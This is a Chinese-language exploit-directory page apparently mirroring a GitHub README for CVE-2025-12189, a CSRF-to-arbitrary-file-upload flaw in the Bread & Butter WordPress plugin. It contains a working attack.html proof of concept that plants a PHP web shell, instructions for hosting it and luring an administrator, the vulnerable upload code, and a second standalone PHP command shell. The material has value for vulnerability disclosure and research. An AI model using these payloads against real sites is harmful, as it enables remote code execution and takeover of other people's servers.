Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/d0n601/cve-2025-12189
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: 门控内容 + 捕获线索 + 收集第一方数据 + 使用 AI 智能体培育 <= 7.10.1321 - 跨站请求伪造至任意文件上传

查看仓库
241年前尚未审核
分享

Bread & Butter: 门控内容 + 捕获线索 + 收集第一方数据 + 通过 AI 代理培育 <= 7.10.1321 - 跨站请求伪造导致任意文件上传

Bread & Butter IO 插件在其图片上传功能中存在一个漏洞,允许任何攻击者诱骗已认证的管理员将任意文件上传到服务器,包括 PHP Web Shell,从而导致远程代码执行(RCE)。该漏洞源于 uploadImage() 函数缺少 CSRF 保护,攻击者可以构造恶意请求,而管理员的浏览器会自动执行这些请求。

该漏洞存在于 /bread-butter/src/Base/Ajax.php 中的 uploadImage() 函数内,该函数缺乏适当的文件验证与 CSRF 保护,并在任何安全检查之前直接使用 file_put_contents() 将文件写入 WordPress 上传目录。

快速利用

  • 下方提供了一个 POC attack.html,用于演示基于 CSRF 的文件上传利用。
  • 此外还提供了一个更贴近实际的示例:email-lure.html

以下是简单的 attack.html:

<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

要运行 POC,你可以在本地使用类似以下方式启动:

# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

一旦受害者的浏览器以管理员身份登录,点击该链接即可导致 RCE。

漏洞详情

根本原因分析

该漏洞存在于 /bread-butter/src/Base/Ajax.php 中的 uploadImage() 函数内,位于 第 411 行:

public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

AJAX 处理器注册

该易受攻击的函数在 第 95 行 处被注册为 WordPress AJAX 处理器:

add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

其中 self::$uploadImage 在 第 37 行 处被定义为 upload_image。

授权检查

唯一的安全控制是 第 166-171 行 中的 checkAdmin() 方法:

public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

CSRF 利用

由于缺少 CSRF 保护,该漏洞可通过跨站请求伪造(Cross-Site Request Forgery)攻击加以利用。attack.html POC 通过以下方式演示了这一点:

  1. 创建一个恶意表单,瞄准 WordPress AJAX 端点
  2. 使用 target="_blank" 绕过 CORS 限制
  3. 直接在 HTML/JavaScript 中嵌入 PHP Web Shell
  4. 在受害者点击按钮时自动提交表单

手动复现

CSRF 到 RCE 的利用

  1. 创建一个包含 CSRF 载荷的 HTML 页面(参见 attack.html)
  2. 在任何 Web 服务器(攻击者控制的)上托管该页面
  3. 诱骗管理员访问该恶意页面
  4. 管理员的浏览器将自动提交表单
  5. 恶意文件将被上传到其 WordPress 站点
  6. 通过 /wp-content/uploads/[year]/[month]/test.php?cmd=whoami 访问上传的 Shell

直接利用(需要管理员权限)

  1. 使用管理员权限登录 WordPress 管理面板
  2. 进入 Bread & Butter 插件设置
  3. 使用图片上传功能,或直接向 /wp-admin/admin-ajax.php 发送 AJAX 请求
  4. 上传包含恶意内容的 PHP 文件:
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. 通过 /wp-content/uploads/[year]/[month]/[filename].php 访问上传的文件
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    696
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    499
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    396
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    340
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

探索所有工具

浏览我们的工具集合

查看所有工具 →